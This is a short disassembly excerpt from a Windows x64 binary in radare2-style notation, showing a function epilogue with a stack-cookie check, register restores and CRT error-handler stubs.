jbe 0x140009d1d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c3bcc
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1400c3860
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
call fcn.140001b40
int3
call fcn.140001aa0
int3